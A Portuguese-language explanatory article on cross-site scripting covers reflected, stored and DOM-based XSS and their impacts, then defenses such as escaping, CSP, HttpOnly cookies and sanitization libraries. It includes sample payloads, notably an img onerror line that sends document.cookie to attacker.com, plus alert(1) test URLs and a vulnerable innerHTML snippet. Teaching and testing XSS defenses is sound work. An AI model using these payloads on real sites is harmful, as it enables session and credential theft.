XSS (Cross-Site Scripting): Como Empresas São Comprometidas por Falhas no Frontend

O Que é XSS?

XSS ocorre quando uma aplicação renderiza dados controlados pelo usuário sem realizar escape ou sanitização adequada.

Isso permite que código JavaScript seja executado diretamente no navegador da vítima.

Na prática, o navegador interpreta o payload injetado como parte legítima da aplicação.

O Problema Vai Muito Além de alert(1)

Durante testes de segurança, o payload alert(1) normalmente é utilizado apenas como prova de conceito.

O impacto real geralmente envolve:

• Roubo de sessão autenticada
• Execução de ações em nome da vítima
• Captura de tokens JWT
• Bypass parcial de MFA
• Phishing dentro da própria aplicação
• Comprometimento de painéis administrativos

Exemplo Real Encontrado em Aplicações

Um cenário extremamente comum envolve funcionalidades de comentários, chats, tickets ou campos de perfil.

<div class="comment">
    {{ userComment }}
</div>

Se a aplicação renderizar conteúdo sem escape adequado, um atacante pode injetar:

<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
    

Quando outro usuário visualizar a página, o navegador executará automaticamente o payload.

Os Principais Tipos de XSS

1. Reflected XSS

O payload é enviado na requisição e refletido imediatamente pela aplicação.

Exemplo comum

https://site.com/search?q=<script>alert(1)</script>
    

Esse tipo normalmente depende de engenharia social, phishing ou envio de links maliciosos.

2. Stored XSS

O payload é armazenado permanentemente pela aplicação.

Esse é um dos cenários mais perigosos, porque qualquer usuário que acessar a página vulnerável executará automaticamente o payload.

Locais comuns

• Comentários
• Chats
• Sistemas de ticket
• Perfis de usuário
• Painéis administrativos

3. DOM-Based XSS

Nesse caso, a vulnerabilidade existe inteiramente no frontend.

const name = location.hash.substring(1);

document.getElementById('output').innerHTML = name;
    

Um atacante pode explorar:

https://site.com/#<img src=x onerror=alert(1)>
    

DOM XSS é extremamente comum em aplicações SPA modernas.

Impactos Reais de XSS

• Roubo de cookies
• Sequestro de sessão
• Execução de ações administrativas
• Exposição de tokens JWT
• Captura de credenciais
• Pivoting interno
• Phishing avançado
• Persistência dentro da aplicação

Por Que Aplicações Modernas Continuam Vulneráveis?

Mesmo frameworks modernos ainda apresentam riscos quando utilizados incorretamente.

Problemas encontrados frequentemente

• Uso inseguro de innerHTML
• Uso de dangerouslySetInnerHTML no React
• Renderização de markdown inseguro
• Sanitização parcial
• Dependência excessiva do frontend
• Bibliotecas vulneráveis

Como Prevenir XSS Corretamente

1. Escape de Output

A principal defesa contra XSS continua sendo escape contextual adequado.

element.innerHTML = userInput;
        

element.textContent = userInput;
        

2. Evitar innerHTML Sempre que Possível

Grande parte dos DOM XSS encontrados em aplicações modernas envolve uso inseguro de innerHTML.

3. Implementar CSP (Content Security Policy)

CSP reduz significativamente impacto de XSS.

Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
    

CSP não substitui sanitização, mas adiciona uma camada extremamente importante de proteção.

4. Cookies com HttpOnly

Cookies HttpOnly ajudam a reduzir roubo de sessão via JavaScript.

Set-Cookie:
session=abc123;
HttpOnly;
Secure;
SameSite=Strict
    

5. Sanitização de HTML

Quando HTML controlado pelo usuário for realmente necessário, utilize bibliotecas confiáveis de sanitização.

• DOMPurify
• sanitize-html
• OWASP Java HTML Sanitizer

Ferramentas Utilizadas para Testes de XSS

• Burp Suite Professional
• OWASP ZAP
• XSStrike
• Dalfox
• Caido

Checklist de Proteção Contra XSS

Conclusão

XSS continua extremamente presente em aplicações modernas, principalmente em sistemas complexos, aplicações SPA, painéis administrativos e plataformas SaaS.

Em muitos casos, o problema não está relacionado à ausência total de proteção, mas sim a pequenos pontos inseguros espalhados pela aplicação.

Segurança contra XSS exige validação contínua, revisão de código e entendimento profundo de como o frontend manipula dados controlados pelo usuário.